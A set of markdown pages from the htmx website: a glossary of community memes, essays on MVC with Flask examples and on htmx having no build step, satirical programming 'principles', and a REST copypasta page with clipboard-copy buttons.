A common set of phrases used by htmx enthusiasts when, for example, [@bunjavascript told me to delete my account](https://x.com/bunjavascript/status/1708557665268568412)

## htmx CEO

At one point there was a hostile takeover attempt of the htmx CEO position and, in a desperate poison pill, I declared
everyone CEO of htmx.  

[Turk](https://x.com/gitpush_gitpaid) created <https://htmx.ceo> if you want to register as a CEO.

If someone emails hr@bigsky.software asking if you are CEO of htmx, I will tell them yes.

You can put it on your LinkedIn, because it's true.

## Laser Eye Horse 

At some point I photoshopped lasers onto a horse mask, as kind of an homage to [@horse_js](https://x.com/horse_js).

For some reason it stuck and now it's the [official unofficial](https://swag.htmx.org/products/i-lied-sticker) mascot of htmx.

## Spieltrieb

Spieltrieb means "play instinct", and is a big part of the [htmx vibe](https://x.com/search?q=spieltrieb%20from%3Ahtmx_org&src=typed_query).

## Pickles

At some point someone (I think [@techsavvytravvy](https://x.com/techsavvytravvy)), generated [a grug AI image](https://x.com/htmx_org/status/1708697536587047142), and there
was a pickle smiling in a really bizarre way in it.  

So we started riffing on pickles and now [there's a shirt](https://swag.htmx.org/products/htmx-pickle-shirt).

Cry more, [drizzle](https://x.com/DrizzleORM/status/1757149983713665238).

## XSS

In July 2023, when htmx first got popular, there was a
[moral panic](https://x.com/htmx_org/status/1683607693246775297) around
[cross site scripting](https://x.com/htmx_org/status/1683529221195571200).  I
[may](https://x.com/htmx_org/status/1683607217499414531) have
[overcooked](https://x.com/htmx_org/status/1683649190071791617) my
[response](https://x.com/htmx_org/status/1683612179512057856) to
[it](https://x.com/htmx_org/status/1683818711763877892).

## Shut Up Warren

[@WarrenInTheBuff](https://x.com/WarrenInTheBuff) is the king of twitter and we regularly fight with him.  This often
ends in someone saying ["shut up warren"](https://x.com/ThePrimeagen/status/1792564215749779515).

You can see the htmx website do this by going to <https://htmx.org?suw=true>

## Microsoft Purchase Rumor

In mid-January of 2024 I got really serious with the htmx twitter account and started [quote](https://x.com/htmx_org/status/1745930477825868044) 
tweeting [things](https://x.com/htmx_org/status/1745915394626351315)
[about microsoft](https://x.com/htmx_org).  People started [worrying](https://x.com/SusSoftware/status/1746206195461878113).  I announced a [license change](https://x.com/htmx_org/status/1746736273728094323)
to get people freaked out about a rug pull.

[I then changed htmx to BSD0](https://x.com/htmx_org/status/1746880860723544211)

[This is the offer](https://x.com/htmx_org/status/1746895016256328079) I got from microsoft (real).

## (same thing)

I believe that [this tweet](https://x.com/htmx_org/status/1672264927136952322) is the origin of the (same thing) meme

## Stronger Together

In December 2023, I was trying to get some indonesian twitter users to take a look at htmx, so I created a 
["Montana & Indonesia, Stronger Together!"](https://x.com/htmx_org/status/1734371865156563428) tweet w/an AI image.

This turned into a [whole series of tweets](https://x.com/search?q=%22stronger%20together%22%20from%3A%40htmx_org&src=typed_query&f=live).

## Hinges

Sometimes I am accused of being "unhinged" but, in fact, [I own many hinges](https://x.com/search?q=from%3Ahtmx_org%20hinges&src=typed_query).

## \* library

People often [call htmx a framework](@/essays/is-htmx-another-javascript-framework.md), but it's [a library](https://x.com/htmx_org/status/1848751101035827210)

## "man"

A common [one word response](https://x.com/search?q=%22man%22%20from%3Ahtmx_org&src=typed_query&f=live) when I don't feel like
arguing with someone.

## The Le Marquee d'&lt;something>

In December 2024, I [added a marquee tag](https://github.com/bigskysoftware/htmx/commit/2b88d967c19619281228d1bf5398751615bdf462) to 
the htmx website and started using the honorific (sic) in my twitter title.

## htmx sucks

I wrote an essay called [htmx sucks](@/essays/htmx-sucks.md) in which I criticize htmx (some valid, some tongue in 
cheek, most both.)  I also released [a mug](https://swag.htmx.org/products/htmx-sucks-mug) that I will often link to when people are criticizing htmx.

## Jason Knight

Jason Knight [hates htmx](https://x.com/JasonKn99664124/status/1731555036864381251) and wrote a
[great post](https://archive.is/rQrl7) about it.

Please don't harass him, [I draw energy](https://x.com/htmx_org/status/1756476449693872635) from his posts.

## Drop Downs

In July 2023, sparked by the accusation that htmx users could not create dropdowns, I did a deep-dive into web
drop down technology and [uncovered a bombshell](https://x.com/htmx_org/status/1684936514885869568)

## "htmx is a front end library of peace"

A phrase I will often [quote tweet](https://x.com/search?q=htmx%20is%20a%20front%20end%20library%20of%20peace%20from%3A%40htmx_org&src=typed_query&f=live)
violent htmx-related imagery with.

## The Process &trade;

[The Process&trade;](https://x.com/htmx_org/status/1697651918858764375) is the mechanism by which people initially hostile
to htmx come to be enlightened.

## "that's ridiculous"

In [June 2023](https://x.com/htmx_org/status/1807183339222405317), [@srasash](https://twitter.com/srasash) accused
htmx of being a government op, the first in many such increasingly ridiculous claims.  I typically quote-tweet these
claims and point out that ["that's ridiculous"](https://x.com/search?q=%22that%27s%20ridiculous%22%20from%3A%40htmx_org&src=typed_query&f=live)

## Grug

I created <http://grugbrain.dev>.

## The htmx/intercooler.js feud

The htmx & [intercooler.js](https://x.com/intercoolerjs) twitter accounts often fight with one another.  Sometimes its
just me [switching back and forth](https://x.com/intercoolerjs/status/1859652045399355559), but two other people have 
access to the intercooler account, so sometimes I have no idea who I am fighting with.

## If Nothing Magically Works

Nothing [magically breaks](https://x.com/htmx_org/status/1729870461864226829).

## /r/webdev

I was very unfairly given [a lifetime ban](https://x.com/htmx_org/status/1719687461385691283) from 
[/r/webdev/](https://www.reddit.com/r/webdev/) for an
[obviously satirical post](https://old.reddit.com/r/webdev/comments/17i0loi/anyone_heard_of_htmx/).  Even the term "htmx" is banned (or semi-banned) on that sub, so people now use
the [htmeggs](https://swag.htmx.org/products/htmeggs-shirt) instead.

## "looking into this"

[idk](https://x.com/search?q=%22idk%22%20from%3Ahtmx_org&src=typed_query&f=live), I just think [it's funny](https://x.com/search?q=%22looking%20into%20this%22%20from%3Ahtmx_org&src=typed_query)

## "Look at this nerd ragin'"

A common phrase used to [mock people (including ourselves)](https://x.com/search?q=%22Look%20at%20this%20nerd%20ragin%27%22%20from%3Ahtmx_org&src=typed_query) with.

## Joker/Bane/Skeletor/Thanos, etc.

htmx is a [villain](https://x.com/htmx_org/status/1651698199478796292) in the front-end world, I'm good w/that

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/mvc.md

+++
title = "Model/View/Controller (MVC)"
description = """\
  Carson Gross give an introduction to the Model/View/Controller (MVC) design pattern and its relevance to modern web \
  development. He explores MVC concepts, its historical adoption in frameworks like Ruby on Rails, and practical \
  examples of its implementation in Python with Flask. Carson explains how separating concerns with MVC can reduce \
  code duplication, support both JSON APIs and hypermedia, and maintain flexibility in application design."""
date = 2024-01-16
updated = 2024-01-16
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

A common objection I see to using htmx and hypermedia is something along the lines of:

> The problem with returning HTML (and not JSON) from your server is that you'd probably also like to serve mobile
> apps and don't want to duplicate your API

I have already outlined in [another essay](@/essays/splitting-your-apis.md) that I think you should split your JSON API & your
hypermedia API up into separate components.

In that essay I explicitly recommend "duplicating" (to an extent) your API, in order to
disentangle your "churny" web application API endpoints that return HTML from your
stable, regular & expressive JSON Data API.

In looking back at conversations I've had around this idea with people, I think that I have been assuming familiarity
with a pattern that many people are not as familiar with as I am: the 
[Model/View/Controller](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) (MVC) 
pattern.

## An MVC Intro

I was a little shocked to discover [in a recent podcast](https://www.youtube.com/watch?v=9H5VK9vJ-aw) that many younger 
web developers just don't have much experience with MVC. This is perhaps due to the Front-end/Back-end split that occurred when Single Page Applications became the norm.  

MVC is a simple pattern that predates the web and can be with nearly any program that offers a graphical interface
to a user.

The rough idea is as follows:

* A "Model" layer contains your ["Domain Model"](https://en.wikipedia.org/wiki/Domain_model).  This layer contains the 
  domain logic specific to the application.  So, for example, a contact management application will have contact-related 
  logic in this layer.  It will not have references to visual elements in it, and should be relatively "pure".

* A "View" layer contains the "view" or visual elements that are presented to the user.  This layer often (although not always)
  works with model values to present visual information to the user. 

* Finally, a "Controller" layer, which coordinates these two layers: for example it might receive an update from a user,
  update a Model and then pass the updated model to a View to display an update user interface to the user.

There are a lot of variations, but that's the idea.

Early on in web development many server side frameworks explicitly adopted the MVC pattern.  The implementation
that I'm most familiar with is [Ruby On Rails](https://rubyonrails.org/), which has documentation on each of these
topics: [Models](https://guides.rubyonrails.org/active_record_basics.html) that are persisted to the database, 
[Views](https://guides.rubyonrails.org/action_view_overview.html) for generating HTML views, and 
[Controllers](https://guides.rubyonrails.org/action_controller_overview.html) that coordinate between the two.

The rough idea, in Rails, is:

* Models collect your application logic and database accesses
* Views take Models and generate HTML via a templating language ([ERB](https://github.com/ruby/erb), this is where [HTML sanitizing](https://en.wikipedia.org/wiki/HTML_sanitization) is done, btw)
* Controllers take HTTP Requests and, typically, perform some action with a Model and then pass that Model on to a 
  View (or redirect, etc.)

Rails has a fairly standard  (although somewhat "shallow" and simplified) implementation of the MVC pattern, built on 
top of the underlying HTML, HTTP Request/Response lifecycle.

### Fat Model/Skinny Controller

One concept that came up a lot in the Rails community was the notion of 
["Fat Model, Skinny Controller"](https://riptutorial.com/ruby-on-rails/example/9609/fat-model--skinny-controller).  The
idea here is that your Controllers should be relatively simple, only maybe invoking 
a method or two on the Model and then immediately handing the result on to a View.

The Model, on the other hand, could be much "thicker" with lots of domain specific logic.  (There are objections
that this leads to [God Objects](https://en.wikipedia.org/wiki/God_object), but let's set that aside for now.)

Let's keep this idea of fat model/skinny controller in mind as we work through a simple example of the MVC pattern and
why it is useful.

## An MVC-Style Web Application

For our example, let's take a look at one of my favorites: an online Contacts application.  Here is a Controller method
for that application that displays a given page of Contacts by generating an HTML page:

```python
@app.route("/contacts")
def contacts():
    contacts = Contact.all(page=request.args.get('page', default=0, type=int))
    return render_template("index.html", contacts=contacts)
```

Here I'm using [Python](https://www.python.org/) and [Flask](https://flask.palletsprojects.com/en/3.0.x/), since I use
those in my [Hypermedia Systems](https://hypermedia.systems/) book.

Here you can see that the controller is very "thin": it simply looks up contacts via the `Contact` Model object, passing
a `page` argument in from the request.

This is very typical: the Controllers job is to map an HTTP request into some domain logic, pulling HTTP-specific
information out and turning it into data that the Model can understand, such as a page number.

The controller then hands the paged collection of contacts on to the `index.html` template, to render them to 
an HTML page to send back to the user.

Now, the `Contact` Model, on the other hand, may be relatively "fat" internally: that `all()` method could have a bunch 
of domain logic internally that does a database lookup, pages the data somehow, maybe applies some transformations or 
business rules, etc.  And that would be fine, that logic is encapsulated within the Contact model and the Controller
doesn't have to deal with it.

### Creating A JSON Data API Controller

So, if we have this relatively well-developed Contact model that encapsulates our domain, you can easily create a 
_different_ API end point/Controller that does something similar, but returns a JSON document rather than an HTML 
document:

```python
@app.route("/api/v1/contacts")
def contacts():
    contacts = Contact.all(page=request.args.get('page', default=0, type=int))
    return jsonify(contacts=contacts)
```

### But You Are Duplicating Code!

At this point, looking at these two controller functions, you may think "This is stupid, the methods are nearly identical".

And you're right, currently they are nearly identical.

But let's consider two potential additions to our system.

#### Rate Limiting Our JSON API

First, let's add rate limiting to the JSON API to prevent DDOS or badly written automated clients from swamping our 
system.  We'll add the [Flask-Limiter](https://flask-limiter.readthedocs.io/en/stable/) library:

```python
@app.route("/api/v1/contacts")
@limiter.limit("1 per second")
def contacts():
    contacts = Contact.all(page=request.args.get('page', default=0, type=int))
    return jsonify(contacts=contacts)
```

Easy.

But note: we don't want that limit applying to our web application, we just want it for our JSON Data API.  And, because 
we've split the two up, we can achieve that.

#### Adding A Graph To Our Web Application

Let's consider another change: we want to add a graph of the number of contacts added per day to the `index.html` 
template in our HTML-based web application.  It turns out that this graph is expensive to compute.

We do not want to block the rendering of the `index.html` template on the graph generation, so we will use the 
[Lazy Loading](@/examples/lazy-load.md) pattern for it instead.  To do this, we need to create a new endpoint, `/graph`, 
that returns the HTML for that lazily loaded content:

```python
@app.route("/graph")
def graph():
    graphInfo = Contact.computeGraphInfo(page=request.args.get('page', default=0, type=int))
    return render_template("graph.html", info=graphInfo)
```

Note that here, again, our controller is still "thin": it just delegates out to the Model and then hands the results on 
to a View.

What's easy to miss is that we've added a new endpoint to our web application HTML API, but _we haven't added it to 
our JSON Data API_.  So we are **not** committing to other non-web clients that this (specialized) endpoint, which
is being driven entirely by our UI needs, will be around forever.  

Since we are not committing to *all* clients that this data will be available at `/graph` forever, and since we
are using [Hypermedia As The Engine of Application State](@/essays/hateoas.md) in our HTML-based web application, we are free to remove 
or refactor this URL later on.

Perhaps some database optimization suddenly make the graph fast to compute and we can include it inline in the
response to `/contacts`: we can remove this end point because we have not exposed it to other clients, it's just there
to support our web application.

So, we get the [flexibility we want](@/essays/hypermedia-apis-vs-data-apis.md) for our hypermedia API, and the 
[features](@/essays/hypermedia-apis-vs-data-apis.md) we want for our JSON Data API.

The most important thing to notice, in terms of MVC, is that because our domain logic has been collected in a Model, 
we can vary these two APIs flexibly while still achieving a significant amount of code reuse.  Yes, there was a lot
of initial similarity to the JSON and HTML controllers, but they diverged over time.

At the same time, we didn't 
duplicate our Model logic: both controllers remained relatively "thin" and delegated out to our Model object to do
most of the work.

Our two APIs are decoupled, while our domain logic remains centralized.

(Note that this also gets at [why I tend not to use content negotiation](@/essays/why-tend-not-to-use-content-negotiation.md) and return HTML & JSON from the same endpoint.)

## MVC Frameworks

Many older web frameworks such as [Spring](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/mvc.html),
[ASP.NET](https://dotnet.microsoft.com/en-us/apps/aspnet/mvc), Rails have very strong MVC concepts that allow you to split 
your logic out in this manner extremely effectively.

Django has a variation on the idea called [MVT](https://www.askpython.com/django/django-mvt-architecture).

This strong support for MVC is one reason why these frameworks pair very well with htmx and those communities are excited
about it.

And, while the examples above are obviously biased towards [Object-Oriented](https://www.azquotes.com/picture-quotes/quote-object-oriented-programming-is-an-exceptionally-bad-idea-which-could-only-have-originated-edsger-dijkstra-7-85-25.jpg)
programming, the same ideas can be applied in a functional context as well.

## Conclusion

I hope that, if it is new to you, that gives you to a good feel for the concept of MVC and shows how that, by adopting that 
organizational principle in your web applications, you can effectively decouple your APIs while at the same time avoiding
significant duplication of code.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/no-build-step.md

+++
title = "Why htmx Does Not Have a Build Step"
description = """\
  In this essay, Alexander Petros explores the reasons why the htmx JavaScript library does not include a build step, \
  detailing the benefits of its simple, dependency-free structure. He highlights the longevity of plain JavaScript, \
  the improved debugging experience, enforced code clarity, and the tradeoffs of avoiding tools like TypeScript or \
  ES6. Alexander also acknowledges the potential limitations of this approach and discusses how these tradeoffs align \
  with htmx's goals of simplicity and developer choice in web development."""
date = 2023-08-19
authors = ["Alexander Petros"]
[taxonomies]
tag = ["posts"]
+++

A recurring question from some htmx contributors is why htmx isn't written in TypeScript, or, for that matter, why htmx lacks any build step at all. The full htmx source is a single 3,500-line JavaScript file; if you want to contribute to htmx, you do so by modifying the `htmx.js` file, the same file that gets sent to browsers in production, give or take minification and compression.

I do not speak for the htmx project, but I have made a few nontrivial contributions to it, and have been a vocal advocate for retaining this no-build setup every time the issue has arisen. From my perspective, here's why htmx does not have a build step.

## Write Once, Run Forever
The best reason to write a library in plain JavaScript is that it lasts forever. This is arguably JavaScript's single most underrated feature. While I'm sure there are some corner cases, JavaScript from 1999 that ran in Netscape Navigator will run unaltered, alongside modern code, in Google Chrome downloaded yesterday. That is true for very few programming environments. It's certainly not true for Python, or Java, or C, which all have versioning mechanisms where opting for new language features will force you off of deprecated APIs.

Of course, most people's experience with JavaScript is that it ages like milk. Reopen a node repository after 3 months and you'll find that your project is mired in a flurry of security warnings, backwards-incompatible library "upgrades," and a frontend framework whose cultural peak was the exact moment you started the project and is now widely considered tech debt. Who's to blame for this situation is for someone else to decide, but, in any case, you can eliminate this entire problem class by not having any dependencies beyond the JavaScript runtime.

A popular way to write JavaScript today is to compile it from TypeScript (which I will use frequently as an example, because TypeScript is probably the [best reason](https://en.wikipedia.org/wiki/Straw_man#Steelmanning) to use a build system). TypeScript does not run natively in web browsers, so TypeScript code is not protected by [ECMA's](https://developer.mozilla.org/en-US/docs/Glossary/ECMA) fanatical devotion to backwards compatibility. Like any dependency, new major TypeScript versions are not guaranteed to be backwards compatible with the previous ones. They might be! But if they aren't, then you need to do maintenance if you want to use the modern development toolchain.

Maintenance is a cost paid for with labor, and open-source codebases are the projects that can least afford to pay it. Opting not to use a build step drastically minimizes the labor required to keep htmx up-to-date. This experience has been borne out by [intercooler.js](https://intercoolerjs.org), the predecessor to htmx which is maintained indefinitely with (as I understand) very little effort. When htmx 1.0 was released, TypeScript was at version 4.1; when intercooler.js was released, TypeScript was pre-1.0. Would code written in those TypeScript versions compile unmodified in today's TypeScript compiler (version 5.1 at the time of writing)? Maybe, maybe not.

But htmx is written in JavaScript, with no dependencies, so it will run unmodified for as long as web browsers remain relevant. Let the browser vendors do the hard work for you.

## Developer Experience
It is true that the TypeScript developer experience (DX) is better than the JavaScript developer experience in many respects. It is not true that the TypeScript DX is better in *every* respect, and the tendency of software engineers to view progress as a teleology of capability rather than choices with tradeoffs sometimes blinds them to the cost paid for the DX aspects they like. For instance, a small tradeoff you make for using TypeScript is that compiling it takes time, and you have to wait for it to recompile to test a change. Usually this cost is negligible, and well worth paying, but it is nonetheless a cost.

A more significant cost for using TypeScript is that the code running in the browser is not the code you wrote, which makes the browser's developer tools harder to use. When your TypeScript code throws an exception, you have to figure out how the stack trace (with its JavaScript line numbers, JavaScript function signatures, and so forth) maps to the TypeScript code that you wrote; when your JavaScript code throws an exception, you can click straight through to the source code, read the thing you wrote, and set a breakpoint in the debugger. This is *tremendous* DX. For many younger web developers who have never worked this way, it can be a revelatory experience.

Build step advocates point out that TypeScript can generate [source maps](https://firefox-source-docs.mozilla.org/devtools-user/debugger/how_to/use_a_source_map/index.html), which tell your browser what TypeScript corresponds to what JavaScript, and that's true! But now you have *another* thing to keep track of—the TypeScript you wrote, the JavaScript it generated, and the source map that connects these two. The hot-reloading development server you're now dependent on will keep these up to date for you on localhost—but what about on your staging server? What about in production? Bugs that appear in these environments will be harder to track down, because you've lost a lot of information about where they come from. These are solvable problems, but they're problems you created; they are a cost.

The htmx DX is very simple—your browser loads a single file, which in every environment is the exact same file you wrote. The tradeoffs required to maintain that experience are real, but they're tradeoffs that make sense for this project.

## Enforced Clarity
Modularization is one of the [honking great ideas](https://legacy.python.org/dev/peps/pep-0020/) of software. Modules make it possible to solve incredibly complex problems by breaking down code into well-contained substructures that solve smaller problems. Modules are really useful.

Sometimes, however, you want to solve simple problems, or at least relatively simple problems. In those cases, it can be helpful *not* to use the building blocks of more complex software, lest you emulate their complexity without creating commensurate value. At its core, htmx solves a relatively simple problem: it adds a handful of attributes to HTML that make it easier to replace DOM elements using the declarative character of hypertext. Requiring that htmx remain in a single file (again, around 3,500 LOC) enforces a degree of intention on the library; there is a real pressure when working on the htmx source to justify the addition of new code, a pressure which maintains an equilibrium of relative simplicity.

While the DX costs are obvious, there are also surprising DX benefits. If you search a function name in the source file, you'll instantly find every invocation of that function (this also mitigates the need for more-advanced code introspection). The lack of places for functionality to hide makes working on htmx a lot more approachable. Far, far more complex projects use aspects of this approach as well: SQLite3 compiles from a [single-file source amalgamation](https://www.sqlite.org/amalgamation.html) (though they use separate files for development, they're not *crazy*) which makes hacking on it [significantly easier](https://jvns.ca/blog/2019/10/28/sqlite-is-really-easy-to-compile/). You could never build the linux kernel this way—but htmx is not the linux kernel.

# Costs
Like any technology decision, choosing to forgo a build step has advantages and disadvantages. It's important to acknowledge those tradeoffs so that you can make an informed decision, and revisit that decision if some of the benefits or costs no longer apply. With the advantages of writing plain JavaScript in mind, let's consider some of the pain points it introduces.

## No static types
TypeScript is a strict superset of JavaScript, and some of the features it adds are very useful. TypeScript has... types, which make your [IDE better at suggesting code](https://grugbrain.dev/#grug-on-type-systems) and pointing out where you might have used methods incorrectly. The tools for automatically renaming and refactoring code are much more reliable for TypeScript than they are for JavaScript. The htmx code does have to be written in JavaScript, though, because browsers run JavaScript. And [as long as JavaScript is dynamically typed](https://github.com/tc39/proposal-type-annotations), the tradeoffs required to get true static typing in the htmx source are not worth it (htmx *users* can still take advantage of typed APIs, declared with `.d.ts` files).

Future versions of htmx might use JSDoc to get some of the same guarantees without the build step. Other libraries, like [Svelte](https://github.com/sveltejs/svelte/pull/8569), have been trending in this direction as well, in part due to the [debugging friction](https://news.ycombinator.com/item?id=35892250) that TypeScript files introduce.

## No ES6
Because htmx maintains support for Internet Explorer 11, and because it does not have a build step, every line of htmx has to be written in IE11-compatible JavaScript, which means no [ES6](https://262.ecma-international.org/6.0/). When people like me say that JavaScript is pretty good now, they are usually referring to language features that were introduced with ES6, like `async/await`, anonymous functions, and functional array methods (i.e. `.map`, `.forEach`)—none of which can be used in the htmx source.

While this is incredibly annoying, in practice it is not a huge impediment. The lack of some nice language features doesn't prevent you from writing code with functional paradigms. Would it be nice not to write a custom [forEach method](https://github.com/bigskysoftware/htmx/blob/b4a61c543b283eb2315a47708006783efb78f563/src/htmx.js#L375-L381)? Of course. But until all the browsers targeted by htmx support ES6, it's not hard to supplement ES5 with a few helper functions. If you are used to ES6, you will automatically write better ES5.

IE11 support is going to be dropped in htmx 2.0, at which point ES6 will be allowed in the source code.

## No modules in core
This point is obvious, but it's worth re-stating: the htmx source would be a lot tidier if it could be split it into modules. There are other factors that affect code quality [besides tidiness](https://www.steveonstuff.com/2022/01/27/no-such-thing-as-clean-code), but to the extent that the htmx source is high-quality, it is not because it is tidy.

This makes doing certain things with htmx very difficult. The [idiomorph algorithm](https://github.com/bigskysoftware/idiomorph) might be included in the htmx 2.0 core, but it's also maintained as a separate package so that people can use the DOM-morphing algorithm without using htmx. If the core could include multiple files, one could easily accomplish this with any number of mirroring schemes, such as git submodules. But the core is a single file, so the idiomorph code will have to live there as well.

# Final Thoughts
This essay might be better titled "Why htmx Doesn't Have a Build Step <em>Right Now</em>." As previously mentioned, circumstances change and these tradeoffs can be revisited at any time! One issue we're exploring at the moment has to do with releases. When htmx cuts releases, it uses a few different shell commands to populate the `dist` directory with minified and compressed versions of `htmx.js` (pedants are welcome to point out that this is obviously, in some sense, a build step). In the future, we might expand that script to auto-generate the [Universal Module Definition](https://github.com/umdjs/umd). Or we might have new distribution needs that require an even more involved setup. Who knows!

One of the core values of htmx is that it gives you *choice* in a web development ecosystem that has for the last decade been dominated by an increasingly complex JavaScript stack. Once you no longer have an enormous codebase of frontend JavaScript, there is far less pressure to adopt JavaScript on the backend. You can write backends in Python, Go, even Node.js, and it doesn't matter to htmx—every mainstream language has mature solutions for formatting HTML. This is the principle of [Hypermedia On Whatever you'd Like (HOWL)](https://htmx.org/essays/hypermedia-on-whatever-youd-like/).

Writing JavaScript with no build process is one of the options available to you once you no longer require Next.js or SvelteKit to manage the spiraling complexity of SPA frameworks. That choice makes sense for htmx development today, and it may or may not make sense for your app too.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/prefer-if-statements.md

+++
title = "Prefer If Statements To Polymorphism..."
description = """\
  In this collection of tweets, Carson Gross explores unconventional programming principles, including favoring if \
  statements over polymorphism, minimizing abstractions, and prioritizing practical, implementation-driven \
  development. He challenges traditional software design norms, advocating for simplicity, locality, and utility over \
  complexity and abstraction."""
date = 2024-12-07
updated = 2024-12-07
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

## Or, Watching Myself Lose My Mind In Real Time...

> "Invert, always invert." --Carl Jacobi, by way of Charlie Munger

* *[If Statements](https://x.com/htmx_org/status/1843804410377535533)*
  > prefer if statements to polymorphism 
  > 
  > whenever you are tempted to create a class, ask yourself: "could this be an if statement instead?"
* *[The Closed/Closed Principle](https://x.com/htmx_org/status/1843805753007845474)*
  > In grug-oriented programming, the closed–closed principle (CCP) states "software entities (classes, modules, functions, etc.) should be closed for extension, but also closed for modification"
  > 
  > they should just do something useful man 
* *[The Minimize Abstractions Principle](https://x.com/htmx_org/status/1843806270559793475)*
  > The Minimize Abstractions Principle (MAP) is a computer programming principle that states that "a module should 
  > minimize the number of abstractions it contains, both in API and in implementation.  Stop navel gazing nerd." 
* *[The Try It Out Substitution Principle](https://x.com/htmx_org/status/1843807054970139139)*
  > The "Try It Out" Substitution Principle states that you should try something out and, if that doesn't work, think about why, and substitute something else for it instead. 
  > 
  > It is common to need to substitute multiple things to hit on the right thing eventually. 
* *[The Useful Stuff Principle](https://x.com/htmx_org/status/1843807769557909528)*
  > The Useful Stuff Principle states that entities must depend on useful stuff, not overly abstract nonsense. It states that  a high-level module can depend on a low-level module, because that's how software works.
* *[Dependencies](https://x.com/htmx_org/status/1843808113230860419)*
  > The The Existence of Dependencies Is Not An Excuse For Destroying The Codebase Principle states that the existence of dependencies is not an excuse for destroying the codebase
* *[Abstraction Budget](https://x.com/htmx_org/status/1843821830207099007)*
  > consider giving your developers an abstraction budget
  >
  > when they exhaust that budget & ask for more, tell them they can have another abstraction when they remove an existing one
  >
  > when they complain, look for classes with the term "Factory",  "Lookup" or "Visitor" in their names
* *[Fewer Functions](https://x.com/htmx_org/status/1843822378352291914)*
  > if your function is only called in one place, consider inlining it & reducing the total number of method signatures in your module, to help people better understand it
  > 
  > studies show longer methods have fewer bugs per line of code, so favor longer methods over many smaller methods
* *["God" Object](https://x.com/htmx_org/status/1843823231771521367)*
  > consider creating "God" objects that wrap a lot of functionality up in a single package
  >
  > consumers of your API don't want to learn 50 different classes to get something done, so give them a few that provide the core functionality of your module with minimal fuss
* *[Copy & Paste Driven Development](https://x.com/htmx_org/status/1843827082687852706)*
  > copy&paste driven development is a development methodology where, when you need to reuse some code but in a slightly different manner, you copy & paste the code & then modify it to satisfy the new requirements
  > 
  > this contrasts with designing an elaborate object model, for example
* *[Implementation Driven Development](https://x.com/htmx_org/status/1843828023747063866)*
  > implementation driven development is a development methodology where you first explore various implementations of your idea to determine the best one, then add tests for it
  > 
  > no test code may be written without first having some implementation code to drive that test
* *[Mixing Concerns](https://x.com/htmx_org/status/1843830823113634132)*
  > Mixing of Concerns is a design methodology whereby "concerns" of various kinds are mixed into a single code unit.  This improves locality in that code unit by placing all relevant logic within it.  An example of this is hypermedia, which mixes control & presentation information.
* *[Macroservices Architecture](https://x.com/htmx_org/status/1843831529300267103)*
  > a macroservice architecture revolves around "macroservices": network-deployed modules of code that provide a significant amount of functionality to the overall system
  > 
  > by adopting a macroservice-based architecture you minimize deployment complexity & maximize resource utilization
* *[Sorry](https://x.com/htmx_org/status/1844005320223539524)*
  > kinda had a manic break last night my bad

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/rest-copypasta.md

+++
title = "REST Copypasta"
description = """\
  These page provides some pre-written critiques of the common misuse of the term 'REST' in modern web development, \
  contrasting it with the true REST architecture defined by Roy Fielding. Copy these ready-made responses to helpfully \
  explain how JSON/RPC is often mislabeled as REST and highlight the role of hypermedia and API specifications in \
  defining REST-ful systems. You will surely not make any enemies or regret posting these responses in any way."""
date = 2023-06-26
updated = 2023-06-26
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
[extra]
show_title = false
show_author = false
+++

## REST copy-pastas

## Ackshually...

<div style="font-family: monospace">

I'd just like to interject for a moment.  What you're referring to as REST,
is in fact, JSON/RPC, or as I've recently taken to calling it, REST-less.
JSON is not a hypermedia unto itself, but rather a plain data format made
useful by out of band information as defined by swagger documentation or
similar.

Many computer users work with a canonical version of REST every day,
without realizing it.  Through a peculiar turn of events, the version of REST
which is widely used today is often called "The Web", and many of its users are
not aware that it is basically the REST-ful architecture, defined by Roy Fielding.

There really is a REST, and these people are using it, but it is just a
part of The Web they use.  REST is the network architecture: hypermedia encodes the state
of resources for hypermedia clients. JSON is an essential part of Single Page Applications,
but useless by itself; it can only function in the context of a complete API specification.
JSON is normally used in combination with SPA libraries: the whole system
is basically RPC with JSON added, or JSON/RPC.  All these so-called "REST-ful"
APIs are really JSON/RPC.

</div>
<button _="on click
             get the innerText of the previous <div/>
             then writeText(the result) with the navigator's clipboard
             put 'Copied!' into the next <output/>
             wait 2s
             put '' into the next <output/>">
Copy
</button>
<button _="on click
             get the innerText of the previous <div/>
             get result.split('\n').map( \ l -> '  ' + l ).join('\n')
             then writeText(the result) with the navigator's clipboard
             put 'Copied for HN!' into the next <output/>
             wait 2s
             put '' into the next <output/>">
Copy For HN
</button>
<output></output>

<br/>

## l໐, t໐ thē ¢໐ຖtrคrฯ

<div style="font-family: monospace">

In a world of digital wonder, allow me to take a moment to clarify. What many name as REST is, in truth, JSON/RPC, or as
I've lately begun to refer to it, the REST-less. JSON is not a magical script unto itself, but rather a simple parchment
of data made meaningful by wisdom from unseen sources, shaped by the likes of the Swagger tomes and their ilk.

Countless keepers of the code interact with a revered form of REST each day, oblivious to its presence. Through an
unexpected twist of fate, the interpretation of REST most commonly employed today is frequently dubbed "The Web", and
many of its inhabitants are unaware that they are, in essence, dwelling within the architectural dominion of REST, as
laid out by the sage Roy Fielding.

Indeed, there exists a true REST, and these individuals are making use of it, but it is merely a facet of The Web they
engage with. REST is the great network architecture: hypermedia inscribes the state of resources for the hypermedia
voyagers. JSON is a vital element of Single Page Applications, yet worthless in solitude; it can only exhibit its power
within the realm of a comprehensive API specification. JSON is typically deployed in alliance with SPA libraries: the
entire realm is fundamentally RPC embellished with JSON, or JSON/RPC. All these entities hailed as "REST-ful" APIs are
in actuality, the embodiment of JSON/RPC.

</div>
<button _="on click
             get the innerText of the previous <div/>
             then writeText(the result) with the navigator's clipboard
             put 'Copied!' into the next <output/>
             wait 2s
             put '' into the next <output/>">
Copy
</button>
<button _="on click
             get the innerText of the previous <div/>
             get result.split('\n').map( \ l -> '  ' + l ).join('\n')
             then writeText(the result) with the navigator's clipboard
             put 'Copied for HN!' into the next <output/>
             wait 2s
             put '' into the next <output/>">
Copy For HN
</button>
<output></output>

---

